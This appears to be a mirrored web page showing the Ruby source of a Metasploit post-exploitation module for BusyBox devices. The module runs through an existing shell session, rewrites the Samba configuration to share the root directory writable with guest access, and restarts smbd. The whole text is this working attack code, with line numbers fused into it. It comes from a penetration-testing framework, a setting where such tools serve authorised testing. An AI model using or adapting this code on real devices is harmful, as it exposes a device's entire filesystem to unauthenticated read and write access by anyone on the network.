Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/busybox/smb_share_root.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::BusyBox89def initialize10super(11'Name' => 'BusyBox SMB Sharing',12'Description' => %q{13This module will be applied on a session connected to a BusyBox shell. It will modify14the SMB configuration of the device executing BusyBox to share the root directory of15the device.16},17'Author' => 'Javier Vicente Vallejo',18'License' => MSF_LICENSE,19'Platform' => ['linux'],20'SessionTypes' => ['shell']21)22end2324def run25print_status('Checking smb.conf...')26if busy_box_file_exist?('/var/samba/smb.conf')27print_status('smb.conf found, searching writable directory...')28writable_directory = busy_box_writable_dir29if writable_directory30print_status('writable directory found, copying smb.conf and restarting smbd')31copy_smb_conf(writable_directory)32else33print_error('Writable directory not found')34end35else36print_error('smb.conf not found')37end38end3940def copy_smb_conf(dir)41cmd_exec_delay("rm -f #{dir}smb.conf")42cmd_exec_delay("cp -f /var/samba/smb.conf #{dir}smb.conf")43cmd_exec_delay("echo -e '[rootdir]\ncomment = rootdir\npath = /\nbrowseable = yes\nwriteable = yes\nguest ok = yes\n' >> #{dir}smb.conf")44cmd_exec_delay('killall smbd')45cmd_exec_delay("smbd -D -s #{dir}smb.conf")46cmd_exec_delay("smbd -D -s=#{dir}smb.conf") # Uses equal just in case47end4849def cmd_exec_delay(command)50res = cmd_exec(command)51vprint_status(res)52Rex.sleep(0.1)53end54end555657